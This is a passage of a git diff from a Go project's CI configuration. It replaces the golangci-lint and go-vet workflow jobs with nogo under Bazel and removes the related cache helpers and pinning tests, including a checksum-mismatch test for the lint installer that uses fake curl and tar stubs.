-installed="$("$install_dir/golangci-lint" version)" -if [[ "$installed" != *"version $version"* ]]; then - printf 'golangci-lint reports "%s", want version %s\n' "$installed" "$version" >&2 - exit 1 -fi -printf 'Installed pinned golangci-lint %s to %s (sha256 %s)\n' "$version" "$install_dir" "$actual_sha256" diff --git a/scripts/ci/pr-lint.sh b/scripts/ci/pr-lint.sh index 7b50ab423..166dace31 100755 --- a/scripts/ci/pr-lint.sh +++ b/scripts/ci/pr-lint.sh @@ -1,5 +1,9 @@ #!/usr/bin/env bash -# Required PR formatting and Go lint contract. +# Required PR lint contract: nogo (//tools/nogo: go test's vet checks plus +# the golangci-lint linters .golangci.yml enables) under Bazel, natively and +# cross-configured for windows/amd64 and darwin/arm64. BD_LINT_TARGETS selects +# passes (default: native,windows,darwin). gofmt is a Bazel test +# (//scripts/repochecks:fmt_test). set -euo pipefail @@ -13,31 +17,8 @@ source "$REPO_ROOT/scripts/ci/lib/timing.sh" cd "$REPO_ROOT" -# gofmt only has one pass (there is no windows- or darwin-only gofmt target), -# so it belongs to the native leg of the pr.yml PR Lint matrix. Skip it when -# BD_LINT_TARGETS names only windows and/or darwin; run it when the variable -# is unset, empty, or names "native" (matching scripts/pr-lint's own default -# of all three targets). -should_run_fmt_check() { - local IFS=',' - local target saw_target=0 - for target in ${BD_LINT_TARGETS:-}; do - target="${target//[[:space:]]/}" - [[ -z "$target" ]] && continue - saw_target=1 - [[ "$target" == "native" ]] && return 0 - done - ((saw_target == 0)) -} - -if should_run_fmt_check; then - ci_time "gofmt check" -- ./scripts/ci/fmt-check.sh -fi - -# The checkout-owned Go driver is the single authority for the native and -# cross-target lint arguments. Files guarded by //go:build windows && !cgo or -# //go:build darwin are invisible to the Linux runner, so the driver cross-lints -# those non-CGO targets from the same runner. Keep this wrapper as the supported -# direct Bash/Make entrypoint and aggregate timing boundary. -ci_time "golangci-lint (native + windows/darwin non-CGO)" -- \ +# The checkout-owned Go driver is the single authority for the passes and +# their Bazel arguments. Keep this wrapper as the supported direct Bash/Make +# entrypoint and aggregate timing boundary. +ci_time "nogo (native + windows/darwin non-cgo)" -- \ go run -mod=readonly -tags=gms_pure_go ./scripts/pr-lint diff --git a/scripts/ci_f7b_review_test.go b/scripts/ci_f7b_review_test.go index 3346151e2..2387d8863 100644 --- a/scripts/ci_f7b_review_test.go +++ b/scripts/ci_f7b_review_test.go @@ -69,10 +69,10 @@ func TestBlacksmithReachablePRJobsDisableDefaultCachingActions(t *testing.T) { // Blacksmith-selection GOCACHE/vet-cache a same-repo PR or merge_group job // above restores from. F7c's blacksmith-setup-go-cache is pinned by its own // TestBlacksmithSeederGuardedAgainstPullRequest in ci_f7c_advisory_test.go; -// these are F7b's four (B2), the macOS saver, and the Blacksmith macOS +// these are F7b's remaining savers (B2), the macOS saver, and the Blacksmith macOS // `test` job (which saves its own race cache). var blacksmithSaverJobs = []string{ - "blacksmith-go-build-cache", "pr-lint-wrapper", "go-vet-cache", "test-windows", + "blacksmith-go-build-cache", "test-windows", "blacksmith-macos-go-build-cache", "test", } @@ -135,7 +135,7 @@ func TestBlacksmithSaverJobsGuardedAgainstPullRequest(t *testing.T) { } // TestBlacksmithSaverCacheKeysAreNotPerCommit is the S7 fix's pin: each of -// blacksmith-go-build-cache's, go-vet-cache's and test-windows' Go-cache +// blacksmith-go-build-cache's and test-windows' Go-cache // restore/save key pairs is bounded by go.sum content plus a UTC calendar day // (via that job's own "Compute cache date" step, id: cache-date), not by // github.sha, so an ordinary day of push traffic to main cannot mint a new @@ -158,11 +158,6 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { restoreStepNames: []string{"Restore race Go build cache", "Restore non-race Go build cache"}, saveStepNames: []string{"Save race Go build cache", "Save non-race Go build cache"}, }, - { - job: "go-vet-cache", - restoreStepNames: []string{"Restore vet Go build cache"}, - saveStepNames: []string{"Save vet Go build cache"}, - }, { job: "test-windows", restoreStepNames: []string{"Restore non-race Go build cache"}, @@ -208,7 +203,7 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { // TestBlacksmithSaverVenueAndFlavorMatricesAreComplete re-pins mutations the // reviewer's mutate.py found surviving against pre-fix code (M8, M9): main.yml's -// "venue matrix" savers (pr-lint-wrapper, go-vet-cache, test-windows, and the +// "venue matrix" savers (test-windows and the // Linux and macOS Go build cache savers) // must each keep BOTH the `blacksmith` leg (the actual same-repo-PR seed) and // the `github` leg (that job's pre-existing fork-PR/GitHub-hosted coverage), @@ -219,7 +214,7 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { // axis's value list shrinks). func TestBlacksmithSaverVenueAndFlavorMatricesAreComplete(t *testing.T) { workflow := readCIWorkflow(t, "main.yml") - for _, jobName := range []string{"pr-lint-wrapper", "go-vet-cache", "test-windows", "blacksmith-go-build-cache", "blacksmith-macos-go-build-cache"} { + for _, jobName := range []string{"test-windows", "blacksmith-go-build-cache", "blacksmith-macos-go-build-cache"} { job := workflow.job(t, jobName) if got := job.Strategy.Matrix.Venue; !equalStrings(got, []string{"blacksmith", "github"}) { t.Errorf("main.yml's %s matrix.venue = %v, want [blacksmith github]", jobName, got) diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index c0aeaf076..afacfa1ba 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -9,7 +9,6 @@ import ( "path/filepath" "reflect" "regexp" - "runtime" "slices" "sort" "strconv" @@ -53,59 +52,16 @@ func TestCIWorkflowArtifactOwnership(t *testing.T) { } else { assertJobRunsExactly(t, workflow.job(t, "pr-policy-wrapper"), "make ci-pr-policy") } - assertJobRunsExactly(t, workflow.job(t, "pr-lint-wrapper"), "make ci-pr-lint") - - // F5.1: the duplicate whole-tree/diff-scoped `Lint` job (and its - // LINT gate id, pr.yml only) is folded into pr-lint-wrapper. - if _, found := workflow.Jobs["lint"]; found { - t.Errorf("%s has a %q job; its only-new-issues pass duplicates pr-lint-wrapper's native leg (H7) and was folded into it", workflowName, "lint") - } - - // F5.2: pr-lint-wrapper is a 3-leg matrix keyed on matrix.target, - // with BD_LINT_TARGETS telling scripts/pr-lint which legs to run. - lintWrapper := workflow.job(t, "pr-lint-wrapper") - if lintWrapper.Strategy.FailFast { - t.Errorf("%s pr-lint-wrapper strategy.fail-fast = true, want false", workflowName) - } - if want := []string{"native", "windows", "darwin"}; !equalStrings(lintWrapper.Strategy.Matrix.Target, want) { - t.Errorf("%s pr-lint-wrapper matrix.target = %v, want %v", workflowName, lintWrapper.Strategy.Matrix.Target, want) - } - if got := lintWrapper.step(t, "Run PR lint wrapper").Env["BD_LINT_TARGETS"]; got != "${{ matrix.target }}" { - t.Errorf("%s pr-lint-wrapper BD_LINT_TARGETS = %q, want %q", workflowName, got, "${{ matrix.target }}") - } - // N-5: a dropped GOCACHE env here silently stops the lint cache - // from doing anything (the step still passes; it just never - // reuses or populates the restored/saved directory). - if got, want := lintWrapper.step(t, "Run PR lint wrapper").Env["GOCACHE"], "${{ runner.temp }}/go-cache/lint-${{ matrix.target }}"; got != want { - t.Errorf("%s pr-lint-wrapper GOCACHE = %q, want %q", workflowName, got, want) - } - if got := lintWrapper.step(t, "Install golangci-lint").Run; got != "./scripts/ci/install-golangci-lint.sh" { - t.Errorf("%s pr-lint-wrapper installs golangci-lint with %q, want the pinned install script", workflowName, got) - } - // N-7. - if lintWrapper.TimeoutMinutes != 20 { - t.Errorf("%s pr-lint-wrapper timeout-minutes = %d, want 20 (matches scripts-go-checks)", workflowName, lintWrapper.TimeoutMinutes) + // Lint and vet are nogo inside Bazel (TestLintAndVetRunAsNogo): + // no workflow job runs golangci-lint or the retired lint and vet + // jobs. + for _, retired := range []string{"pr-lint-wrapper", "go-vet-cache", "scripts-go-checks", "lint"} { + if _, found := workflow.Jobs[retired]; found { + t.Errorf("%s has a %q job; lint and vet run as nogo in bazel.yml's test lane", workflowName, retired) + } } }) } - - if got := readCIWorkflow(t, "pr.yml").job(t, "pr-lint-wrapper").step(t, "Run PR lint wrapper").Env["BD_LINT_NEW_FROM_MERGE_BASE"]; got != "origin/main" { - t.Errorf("pr.yml pr-lint-wrapper BD_LINT_NEW_FROM_MERGE_BASE = %q, want origin/main (PR lane stays diff-scoped)", got) - } - if got := readCIWorkflow(t, "main.yml").job(t, "pr-lint-wrapper").step(t, "Run PR lint wrapper").Env["BD_LINT_NEW_FROM_MERGE_BASE"]; got != "" { - t.Errorf("main.yml pr-lint-wrapper BD_LINT_NEW_FROM_MERGE_BASE = %q, want unset", got) - } - // N-5: --new-from-merge-base in pr.yml's pr-lint-wrapper needs real - // history; a dropped fetch-depth: 0 would fail loudly (M3, a NIT-grade - // mutation per the review), but pin it anyway since it is part of the - // same wrapper contract as the GOCACHE pin above. - if got := readCIWorkflow(t, "pr.yml").job(t, "pr-lint-wrapper").Steps[0].With["fetch-depth"]; got != "0" { - t.Errorf("pr.yml pr-lint-wrapper checkout fetch-depth = %q, want %q", got, "0") - } - // go-vet-cache (N-7). - if job := readCIWorkflow(t, "main.yml").job(t, "go-vet-cache"); job.TimeoutMinutes != 20 { - t.Errorf("main.yml go-vet-cache timeout-minutes = %d, want 20 (matches scripts-go-checks)", job.TimeoutMinutes) - } } // TestPullRequestWorkflowsTriggerOnHotfixBranches is the #7148 regression. @@ -144,18 +100,22 @@ func TestPullRequestWorkflowsTriggerOnHotfixBranches(t *testing.T) { } } -func TestPRCIGateRequiresPolicyAndLintWrappers(t *testing.T) { +func TestPRCIGateDropsRetiredPolicyAndLintJobs(t *testing.T) { gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") gateEnv := gate.step(t, "Evaluate CI gate").Env - if !contains(gate.Needs, "pr-lint-wrapper") { - t.Errorf("ci-gate needs %q: %v", "pr-lint-wrapper", gate.Needs) - } - if got, want := gateEnv["PR_LINT_WRAPPER"], "${{ needs.pr-lint-wrapper.result }}"; got != want { - t.Errorf("ci-gate env PR_LINT_WRAPPER = %q, want %q", got, want) - } - if !strings.Contains(gateEnv["CI_GATE_REQUIRED"], "PR_LINT_WRAPPER") { - t.Errorf("ci-gate CI_GATE_REQUIRED does not include %q", "PR_LINT_WRAPPER") + // The retired lint and vet jobs (now nogo in the Bazel test lane, which + // gates through BAZEL_TEST) must not linger in the gate. + for job, token := range map[string]string{"pr-lint-wrapper": "PR_LINT_WRAPPER", "scripts-go-checks": "SCRIPTS_GO_CHECKS"} { + if contains(gate.Needs, job) { + t.Errorf("ci-gate needs the retired %s: %v", job, gate.Needs) + } + if _, found := gateEnv[token]; found { + t.Errorf("ci-gate env still sets %s", token) + } + if contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), token) { + t.Errorf("ci-gate CI_GATE_REQUIRED still lists %s", token) + } } // The retired PR Policy job's checks gate through BAZEL_TEST (the Bazel @@ -185,214 +145,6 @@ func TestPRCIGateRequiresPolicyAndLintWrappers(t *testing.T) { } } -// F5.2/F5.7: the pinned golangci-lint install script's version and sha256 -// values must stay in sync with LINTING.md's documented version and with -// .githooks/pre-commit's `go run ...@`, and the three workflows that -// use the script (pr.yml, main.yml, ci-measurements.yml) must all call it -// instead of `go install`. -func TestGolangciLintInstallScriptPinned(t *testing.T) { - root := sourceRepoRoot(t) - script := readPolicyFile(t, root, "scripts/ci/install-golangci-lint.sh") - - const version = "2.10.1" - wantSHA256 := map[string]string{ - "amd64": "dfa775874cf0561b404a02a8f4481fc69b28091da95aa697259820d429b09c99", - "arm64": "6652b42ae02915eb2f9cb2a2e0cac99514c8eded8388d88ae3e06e1a52c00de8", - } - - if !strings.Contains(script, `readonly version="`+version+`"`) { - t.Errorf("install-golangci-lint.sh does not pin version %q", version) - } - for arch, sha := range wantSHA256 { - // The script maps arch to sha256 with a case arm, not `declare -A`, - // so it still parses under macOS's bash 3.2. - if !strings.Contains(script, arch+") printf '%s' \""+sha+"\"") { - t.Errorf("install-golangci-lint.sh does not pin %s sha256 %q", arch, sha) - } - } - - linting := readPolicyFile(t, root, "engdocs/LINTING.md") - if !strings.Contains(linting, "v"+version) { - t.Errorf("engdocs/LINTING.md does not mention v%s", version) - } - - preCommit := readPolicyFile(t, root, ".githooks/pre-commit") - if !strings.Contains(preCommit, "golangci-lint/v2/cmd/golangci-lint@v"+version) { - t.Errorf(".githooks/pre-commit does not pin golangci-lint @v%s", version) - } - // The hook stays on `go run` deliberately (CI-only RUNNER_TEMP/GITHUB_PATH - // requirement); it must not switch to the install script. - if strings.Contains(preCommit, "install-golangci-lint.sh") { - t.Error(".githooks/pre-commit must keep using `go run`, not the CI-only install script") - } - - for _, workflow := range []string{"pr.yml", "main.yml"} { - job := readCIWorkflow(t, workflow).job(t, "pr-lint-wrapper") - if got := job.step(t, "Install golangci-lint").Run; got != "./scripts/ci/install-golangci-lint.sh" { - t.Errorf("%s pr-lint-wrapper installs golangci-lint with %q, want the pinned install script", workflow, got) - } - } - measurements := readPolicyFile(t, root, ".github/workflows/ci-measurements.yml") - if strings.Contains(measurements, "go install github.com/golangci/golangci-lint") { - t.Error("ci-measurements.yml still uses go install for golangci-lint; use scripts/ci/install-golangci-lint.sh") - } - if !strings.Contains(measurements, "install-golangci-lint.sh") { - t.Error("ci-measurements.yml does not call scripts/ci/install-golangci-lint.sh") - } - - // SF-2: install-golangci-lint.sh and the "pr-lint wrapper" measurement run - // in the same shell block (not separate steps), so appending to - // $GITHUB_PATH (which only takes effect in later *steps*) is not enough; - // the script's install_dir must also be exported into this step's own - // PATH, after the install call and before the wrapper that needs it. - const ( - installMarker = "install-golangci-lint.sh" - pathExport = `export PATH="$RUNNER_TEMP/golangci-lint:$PATH"` - wrapperMarker = `ci_time "pr-lint wrapper"` - ) - installIdx := strings.Index(measurements, installMarker) - pathIdx := strings.Index(measurements, pathExport) - wrapperIdx := strings.Index(measurements, wrapperMarker) - if pathIdx < 0 { - t.Errorf("ci-measurements.yml does not export golangci-lint's install dir onto PATH in the same step (want %q)", pathExport) - } - if installIdx < 0 || wrapperIdx < 0 { - t.Fatalf("ci-measurements.yml missing expected markers: install=%d wrapper=%d", installIdx, wrapperIdx) - } - if !(installIdx < pathIdx && pathIdx < wrapperIdx) { - t.Errorf("ci-measurements.yml PATH export must sit between the golangci-lint install (%d) and the pr-lint wrapper call (%d); got PATH export at %d", installIdx, wrapperIdx, pathIdx) - } -} - -// TestInstallGolangciLintFailsClosedOnChecksumMismatch is the regression net -// for install-golangci-lint.sh's supply-chain gate (SF-3). Without it, nothing -// exercises the sha256 comparison's behavior -- TestGolangciLintInstallScriptPinned -// above only pins the hash strings as text, so e.g. replacing the comparison -// with an always-false condition passes every other test in this package. A -// fake curl hands the script a tarball whose content never matches either -// pinned hash; a fake tar makes extraction succeed anyway (so a bypassed check -// is exposed cleanly as "installed the wrong thing", not masked by tar -// choking on bad bytes), which is exactly the gap a real supply-chain attack -// (a compromised release asset, a MITM'd download) would exploit if the -// comparison were missing or broken. -func TestInstallGolangciLintFailsClosedOnChecksumMismatch(t *testing.T) { - bash := requireHostTool(t, "bash") - - bin := t.TempDir() - stateDir := t.TempDir() - runnerTemp := t.TempDir() - curlLog := filepath.Join(stateDir, "curl-calls") - tarLog := filepath.Join(stateDir, "tar-calls") - githubPath := filepath.Join(stateDir, "github-path") - for _, path := range []string{curlLog, tarLog, githubPath} { - if err := os.WriteFile(path, nil, 0o600); err != nil { - t.Fatal(err) - } - } - - // Writes fixed, wrong-checksum bytes to curl's -o target. Any download - // (first attempt or a retry) "succeeds" the same way, so the script - // reaches the sha256 comparison deterministically. - writeExecutable(t, filepath.Join(bin, "curl"), `#!/bin/sh -set -eu -printf '%s\n' "$*" >>"$GOLANGCI_INSTALL_CURL_LOG" -out="" -prev="" -for arg in "$@"; do - if [ "$prev" = "-o" ]; then - out="$arg" - fi - prev="$arg" -done -if [ -n "$out" ]; then - printf 'not the real golangci-lint release asset\n' >"$out" -fi -`) - // Materializes a plausible-looking extracted binary unconditionally, the - // way a real tarball's contents would after a successful `tar -xzf`. The - // script's sha256 check -- not tar's own format validation -- must be - // what stands between this fake binary and $RUNNER_TEMP/golangci-lint. - writeExecutable(t, filepath.Join(bin, "tar"), `#!/bin/sh -set -eu -printf '%s\n' "$*" >>"$GOLANGCI_INSTALL_TAR_LOG" -outdir="" -prev="" -for arg in "$@"; do - if [ "$prev" = "-C" ]; then - outdir="$arg" - fi - prev="$arg" -done -mkdir -p "$outdir/golangci-lint-2.10.1-linux-amd64" -cat >"$outdir/golangci-lint-2.10.1-linux-amd64/golangci-lint" <<'SCRIPT' -#!/bin/sh -printf 'golangci-lint has version 2.10.1 built from unknown\n' -SCRIPT -chmod +x "$outdir/golangci-lint-2.10.1-linux-amd64/golangci-lint" -`) - // Pins the platform so the asset name, arch lookup and extracted layout - // are fixed regardless of the machine running the test. - writeExecutable(t, filepath.Join(bin, "uname"), `#!/bin/sh -set -eu -case "${1:-}" in - -m) printf 'x86_64\n' ;; - *) printf 'Linux\n' ;; -esac -`) - - pathEnv := shellPathEnv() - binPath := shellPathUnderEnv(t, bash, bin, pathEnv) - statePath := shellPathUnderEnv(t, bash, stateDir, pathEnv) - commandPath := binPath + ":" + os.Getenv("PATH") + ":/usr/bin:/bin" - if runtime.GOOS == "windows" { - commandPath = binPath + ":/usr/bin:/bin" - } - root := sourceRepoRoot(t) - env := []string{ - "PATH=" + os.Getenv("PATH"), - "BEADS_TEST_COMMAND_PATH=" + commandPath, - "LC_ALL=C", - "LANG=C", - "BASH_ENV=", - "ENV=", - "RUNNER_TEMP=" + shellPathUnderEnv(t, bash, runnerTemp, pathEnv), - "GITHUB_PATH=" + statePath + "/github-path", - "GOLANGCI_INSTALL_CURL_LOG=" + statePath + "/curl-calls", - "GOLANGCI_INSTALL_TAR_LOG=" + statePath + "/tar-calls", - } - for _, name := range []string{"curl", "tar", "uname"} { - requireShellCommandPath(t, bash, root, env, name, binPath+"/"+name) - } - - cmd := bashScriptCommand(bash, "scripts/ci/install-golangci-lint.sh") - cmd.Dir = root - cmd.Env = env - output, runErr := cmd.CombinedOutput() - - if code := pullDoltExitCode(runErr); code == 0 { - t.Fatalf("exit = 0, want non-zero; output:\n%s", output) - } - if !strings.Contains(string(output), "sha256 mismatch") { - t.Errorf("output does not contain %q:\n%s", "sha256 mismatch", output) - } - if calls := readCallLines(t, tarLog); len(calls) != 0 { - t.Errorf("tar was invoked %d time(s), want 0 (the sha256 check must reject the download before extraction): %q", len(calls), calls) - } - if calls := readCallLines(t, curlLog); len(calls) == 0 { - t.Fatalf("curl was never invoked; test did not exercise the script's download path") - } - if entries, err := os.ReadDir(runnerTemp); err != nil { - t.Fatal(err) - } else if len(entries) != 0 { - t.Errorf("RUNNER_TEMP = %v, want empty (nothing installed on a checksum mismatch)", entries) - } - if data, err := os.ReadFile(githubPath); err != nil { - t.Fatal(err) - } else if len(data) != 0 { - t.Errorf("GITHUB_PATH = %q, want empty (nothing appended on a checksum mismatch)", data) - } -} - // TestReleaseCrossCompileRunsInBazelPureLane pins the release-target // cross-compilation gate into bazel.yml's pure-Go lane, whose job.status // ci-gate requires (BAZEL_PURE), and keeps the retired pr.yml job from @@ -1236,19 +988,13 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["main.yml"].job(t, "test-windows"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreBuildCacheDayBucketedIf("non-race", ""), saveModuleCache(), saveBuildCacheDayBucketed("non-race"), }) - assertGoCacheInventory(t, workflows["main.yml"].job(t, "pr-lint-wrapper"), []goCacheStep{ - restoreModuleCache(), mainRestoreGolangciCache(), saveGolangciCache(), - }) - assertGoCacheInventory(t, workflows["main.yml"].job(t, "go-vet-cache"), []goCacheStep{ - mainRestoreModuleCache(), mainRestoreVetCache(), saveVetCache(), - }) // F4.7: seeds the module and xcompile caches pr.yml's windows-test-binaries // job only restores (PR workflows never save). assertGoCacheInventory(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreXCompileCache(), saveModuleCacheAfterFailure(), saveXCompileCache(), }) // F7b: race/non-race GOCACHE saves for same-repo PR consumers - // (scripts-go-checks, pr-preflight-platforms, check-doc-freshness-platforms) + // (pr-preflight-platforms, check-doc-freshness-platforms) // that run on Blacksmith, whose cache namespace is invisible to // GitHub-hosted build-artifacts; its github venue leg seeds the fork // path's race cache (build-artifacts seeds its non-race one). @@ -1275,11 +1021,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["pr.yml"].job(t, "pr-core-wrapper"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("race"), }) - // D2 step 3: PR Core's go vet; read-only like PR Core. - assertGoCacheInventory(t, workflows["pr.yml"].job(t, "scripts-go-checks"), []goCacheStep{ - restoreModuleCache(), restoreVetCache(), - }) - assertGoCacheInventory(t, workflows["pr.yml"].job(t, "pr-lint-wrapper"), []goCacheStep{restoreModuleCache(), restoreGolangciCache()}) assertGoCacheInventory(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("non-race"), }) @@ -1322,7 +1063,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertNoUnmanagedGoCacheSteps(t, workflows, map[string]map[string]bool{ "main.yml": { "build-artifacts": true, "test": true, "test-windows": true, - "pr-lint-wrapper": true, "go-vet-cache": true, "windows-test-binaries-cache": true, "blacksmith-go-build-cache": true, + "windows-test-binaries-cache": true, "blacksmith-go-build-cache": true, "blacksmith-macos-go-build-cache": true, // F7c: blacksmith-setup-go-cache's own restore/save pair seeds the // self-defined blacksmith-sg-v1- cache namespace every advisory @@ -1334,9 +1075,9 @@ func TestGoCacheOwnershipTopology(t *testing.T) { "blacksmith-setup-go-cache": true, }, "pr.yml": { - "build-artifacts": true, "pr-core-wrapper": true, "scripts-go-checks": true, "worktree-remove-windows": true, + "build-artifacts": true, "pr-core-wrapper": true, "worktree-remove-windows": true, "check-doc-freshness-platforms": true, "pr-preflight-platforms": true, "advisory-reports": true, - "pr-lint-wrapper": true, "windows-test-binaries": true, + "windows-test-binaries": true, "test-windows-liveness": true, }, "pr-risk.yml": {"build-embedded": true}, @@ -1418,8 +1159,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheWriter(t, workflows["main.yml"], "test", mainBlacksmithMacOSTestRunsOn, "Save race Go build cache", failureSurvivingCacheSaveCondition(cacheMissCondition(goBuildCacheRestoreID("race")))) assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) - assertGoCacheWriter(t, workflows["main.yml"], "pr-lint-wrapper", mainVenueBlacksmithUbuntu4vcpuRunsOn, "Save golangci-lint cache", failureSurvivingCacheSaveCondition(cacheMissCondition(golangciCacheRestoreID()))) - assertGoCacheWriter(t, workflows["main.yml"], "go-vet-cache", mainVenueBlacksmithUbuntu4vcpuRunsOn, "Save vet Go build cache", failureSurvivingCacheSaveCondition(cacheMissCondition(goVetCacheRestoreID()))) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-go-build-cache", mainBlacksmithGoBuildCacheRunsOn, "Save race Go build cache", saveBuildCacheAfterFailureIf("race", "matrix.flavor == 'race'").ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-go-build-cache", mainBlacksmithGoBuildCacheRunsOn, "Save non-race Go build cache", saveBuildCacheAfterFailureIf("non-race", "matrix.flavor == 'non-race'").ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-macos-go-build-cache", mainBlacksmithMacOSGoBuildCacheRunsOn, "Save Go module cache", saveModuleCacheAfterFailure().ifCondition) @@ -1703,7 +1442,7 @@ func goBuildCacheKey(profile string) string { // goCacheDateSuffix is the key suffix for the day-bucketed caches saved by // main.yml's push-to-main-only Blacksmith seeders (blacksmith-go-build-cache, -// go-vet-cache, test-windows): bounded by go.sum content plus a UTC calendar +// test-windows): bounded by go.sum content plus a UTC calendar // day, not by commit sha, so an ordinary day of push traffic cannot exhaust // Blacksmith's 25 GB/week/repo cache quota the way a brand-new multi-GB entry // per push did (F7b review fix S7; measured ~1.74-2.4GB/push under the old @@ -1830,88 +1569,6 @@ func saveBuildCacheAfterFailureIf(profile, condition string) goCacheStep { return step } -// The go-vet-cache family (F5.3): a dedicated, go-vet-only GOCACHE restored -// by pr.yml's scripts-go-checks vet leg and warmed by main.yml's go-vet-cache -// job on push. There is deliberately no non-race-build-cache fallback restore -// key (SF-5): actions/cache versions each entry by its path list, and that -// cache saves to a different path, so a prefix fallback naming it could never -// hit. -const goVetCacheSchema = "v1" - -func goVetCachePrefix() string { - return "beads-go-vet-" + goVetCacheSchema + "-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-" + goBaseTag + "-vet-" -} - -func goVetCacheKey() string { return goVetCachePrefix() + "${{ github.sha }}" } - -// goVetCacheDayBucketedKey is goVetCacheKey with the S7 day-bucketed suffix -// (see goCacheDateSuffix), for main.yml's go-vet-cache seeder. -func goVetCacheDayBucketedKey() string { return goVetCachePrefix() + goCacheDateSuffix() } - -func goVetCacheRestoreKeys() string { return goVetCachePrefix() } - -func goVetCachePath() string { return "${{ runner.temp }}/go-cache/vet" } - -func goVetCacheRestoreID() string { return "restore-vet-go-build-cache" } - -func restoreVetCache() goCacheStep { - return goCacheStep{name: "Restore vet Go build cache", family: cacheRestoreActionFamily, key: goVetCacheKey(), restoreKeys: goVetCacheRestoreKeys(), path: goVetCachePath(), ifCondition: "matrix.check == 'vet'"} -} - -func mainRestoreVetCache() goCacheStep { - step := restoreVetCache() - step.id = goVetCacheRestoreID() - step.ifCondition = "" - step.key = goVetCacheDayBucketedKey() - return step -} - -func saveVetCache() goCacheStep { - return goCacheStep{name: "Save vet Go build cache", family: cacheSaveActionFamily, key: goVetCacheDayBucketedKey(), path: goVetCachePath(), ifCondition: failureSurvivingCacheSaveCondition(cacheMissCondition(goVetCacheRestoreID()))} -} - -// The golangci-lint cache family (F5.2): one cache per PR Lint matrix leg, -// keyed on file content and the leg. A miss on the exact content key falls -// back to the leg's prefix (its most recent entry); golangci-lint revalidates -// a restored cache against the current config and inputs, so a stale restore -// cannot mask an issue. pr.yml only ever restores; main.yml's matrix is the -// only saver. The key deliberately omits the commit sha (SF-4): with it, -// every green push to main saved a new multi-GB entry per leg regardless of -// whether lint's inputs changed; keying on content alone means a save only -// happens when .golangci.yml or go.sum change. Only the native leg's path -// includes the lint GOCACHE (SF-4): the windows/darwin legs cross-compile and -// their GOCACHE is large relative to the small golangci-lint result cache -// that is the part actually worth keeping warm for them. -func golangciCachePrefix() string { - return "beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}-" -} - -func golangciCacheKey() string { - return golangciCachePrefix() + "${{ hashFiles('.golangci.yml', 'go.sum') }}" -} - -func golangciCacheRestoreKeys() string { return golangciCachePrefix() } - -func golangciCachePath() string { - return "~/.cache/golangci-lint\n${{ matrix.target == 'native' && format('{0}/go-cache/lint-{1}', runner.temp, matrix.target) || '' }}\n" -} - -func golangciCacheRestoreID() string { return "restore-golangci-lint-cache" } - -func restoreGolangciCache() goCacheStep { - return goCacheStep{name: "Restore golangci-lint cache", family: cacheRestoreActionFamily, key: golangciCacheKey(), restoreKeys: golangciCacheRestoreKeys(), path: golangciCachePath()} -} - -func mainRestoreGolangciCache() goCacheStep { - step := restoreGolangciCache() - step.id = golangciCacheRestoreID() - return step -} - -func saveGolangciCache() goCacheStep { - return goCacheStep{name: "Save golangci-lint cache", family: cacheSaveActionFamily, key: golangciCacheKey(), path: golangciCachePath(), ifCondition: failureSurvivingCacheSaveCondition(cacheMissCondition(golangciCacheRestoreID()))} -} - // The Windows cross-compile GOCACHE (F4.4) is a separate cache dimension from // goBuildCache*'s base/race/non-race profiles: it is never shared with a // native build on the runner's own OS, so it gets its own key shape (no @@ -2140,8 +1797,8 @@ type ciWorkflowMatrix struct { Check []string `yaml:"check"` Group []string `yaml:"group"` // Venue and Flavor back main.yml's "venue matrix" (F7b spec §4) push-to- - // main-only Blacksmith cache savers: pr-lint-wrapper/go-vet-cache/ - // test-windows's `venue: [blacksmith, github]` and + // main-only Blacksmith cache savers: test-windows's + // `venue: [blacksmith, github]` and // blacksmith-go-build-cache's `flavor: [race, non-race]`. Pinned by // TestBlacksmithSaverVenueAndFlavorMatricesAreComplete (F7b review B2/S7 // follow-up) so dropping either leg from these lists -- silently losing @@ -2588,7 +2245,7 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && // F7b: venue-matrix runs-on for main.yml jobs that seed a Blacksmith GOCACHE // alongside their GitHub-hosted seed ("venue: [blacksmith, github]"): -// pr-lint-wrapper, go-vet-cache, test-windows, blacksmith-go-build-cache and +// test-windows, blacksmith-go-build-cache and // blacksmith-macos-go-build-cache. const mainVenueBlacksmithUbuntu4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" const mainVenueBlacksmithWindows4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }}" @@ -2868,12 +2525,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "advisory-reports": sameRepoBlacksmith2vcpu, "check-doc-flags": sameRepoBlacksmith4vcpu, 